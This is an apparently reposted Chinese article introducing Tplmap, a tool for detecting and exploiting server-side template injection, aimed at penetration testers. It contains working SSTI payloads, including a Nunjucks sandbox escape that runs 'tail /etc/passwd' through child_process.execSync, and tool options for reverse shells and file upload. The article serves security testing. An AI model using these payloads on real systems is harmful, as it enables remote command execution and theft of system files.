Tplmap:一个自动化的服务端模板注射攻击检测和漏洞利用工具

项目主页

https://github.com/epinna/tplmap

简介

Tplmap是一款自动检测和发掘服务器端模板注入漏洞的工具。支持测试Mako, Jinja2, Jade, Smarty, Freemarker, Velocity, 和Twig。它可以协助SSTI利用使应用程序妥协, 并且让操作系统执行远程命令。安全研究和渗透测试人员可以使用这种工具来检测和利用漏洞,并研究模板注入缺陷。Tplmap模板功能可以通过插件进行扩展。具有高级功能的Tplmap能够在盲注的情况下检测并实现命令的执行。

服务端模板注入

参考:http://blog.portswigger.net/2015/08/server-side-template-injection.html

假如你正在审计一个网站,该Web应用程序使用Python和Flask,jinja2模板:

py

从黑盒测试的角度来看,这类似于一个XSS漏洞的价值。

$ curl -g 'http://www.target.com/page?name=John'
Hello John!
$ curl -g 'http://www.target.com/page?name={{7*7}}'
Hello 49!

Exploitation

tplmap能够检测和利用一系列的模板引擎,包括jinja2 SSTI,获取底层的文件系统和操作系统。

$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.3
 Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

GET parameter: name
 Engine: Jinja2
 Injection: {{*}}
 Context: text
 OS: linux
 Technique: render
 Capabilities:

Shell command execution: yes
 Bind and reverse shell: yes
 File write: yes
 File read: yes
 Code evaluation: yes, python code

[+] Rerun tplmap providing one of the following options:

--os-shell Run shell on the target
 --os-cmd Execute shell commands
 --bind-shell PORT Connect to a shell bind to a target port
 --reverse-shell HOST PORT Send a shell back to the attacker's port
 --upload LOCAL REMOTE Upload files to the server
 --download REMOTE LOCAL Download remote files

使用–os-shell实现命令的执行

osshell

示例

下面将演示如何使用Tplmap对Nunjucks模板引擎进行服务端的模板注入与沙箱逃逸,Tplmap在Nunjucks模板引擎上实现了这种技术,并且成功地让操作系统执行了远程命令。

Nunjucks

Nunjucks是一种模板引擎,用于在Express和Express这类Node.js web框架上开发web应用程序。下面的Connect应用片段来自于一个web页面(http://localhost:15004/page?name=John),其中存在着服务器端模板注入漏洞。

nj

用户可控的name GET参数被串联到了模板字符串,而不是作为context参数被传递,这就引入了SSTI漏洞。通过注入一个基本操作,这种含有漏洞的参数就能被探测到。

$ curl -g 'http://localhost:15004/page?name={{7*7}}'
Hello 49

这种漏洞不会影响到Nunjucks本身,但是当用户的输入被直接串联到一个模板时,漏洞会被引入。

沙箱逃逸

和其他的很多模板引擎一样,Nunjucks模板代码在一个沙箱环境中运行。所有的全局对象都从这种环境中被剥离了出去,这样是为了限制可以被利用来打破沙箱的surface,并执行任意JavaScript代码。你可以使用Tplmap的–tpl-shell选项来检查沙盒surface。

从模板里面调用全局对象控制台,这会引发一个尚未定义的异常。

{{console.log(1)}}
 
// Template render error: (unknown path)
// Error: Unable to call `console["log"]`, which is undefined or falsey

这里有三个实用函数:range、cycler和joiner,只有它们可以在模板内被调用。

每个函数的constructor性质就是Function constructor,它能够从body字符串开始,创建一个新的函数。

{{range.constructor("console.log(123)")()}}
// 123

上面的代码得到了正确的评估。但是,在没有引发异常的时候,require()不能被用于输入标准模块,因此操作系统访问出现了问题。

{{range.constructor("return require('fs')")()}}
 
//Template render error: (unknown path)
// ReferenceError: require is not defined
 
使用global.process.mainModule.require可以绕过require 约束。在下面的代码片段中, fs模块被导入并输出了。
{{range.constructor("return global.process.mainModule.require('fs')")()}}
 
[object Object]

最后, 经由child_process.execSync()方法,用于访问底层操作系统的利用可以通过执行tail /etc/passwd来完成。

{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

这种沙箱逃逸技术已经被集成在了Tplmap Nunjucks插件中,可以用完全自动的方式使目标妥协。

支持新模板引擎的Tplmap可以很容易地通过编写插件进行扩展。所有的内容,包括代码和新模板引擎上的沙箱逃逸这个点子,都受到了极大的赞赏。

支持模板引擎

Template engine Remote Command Execution Blind Code evaluation File read File write
Mako Python
Jinja2 Python
Python (generic) Python
Nunjucks JavaScript
Jade JavaScript
doT JavaScript
Marko JavaScript
JavaScript (generic) JavaScript
Dust (<= dustjs-helpers@1.5.0) JavaScript
Smarty (unsecured) PHP
PHP (generic) PHP
Freemarker ×
Velocity ×
Twig × × × × ×
Smarty (secured) × × × × ×
Dust (> dustjs-helpers@1.5.0) × × × × ×

相关阅读

原创文章,作者:SecToolkit,如若转载,请注明出处:http://www.mottoin.com/91727.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code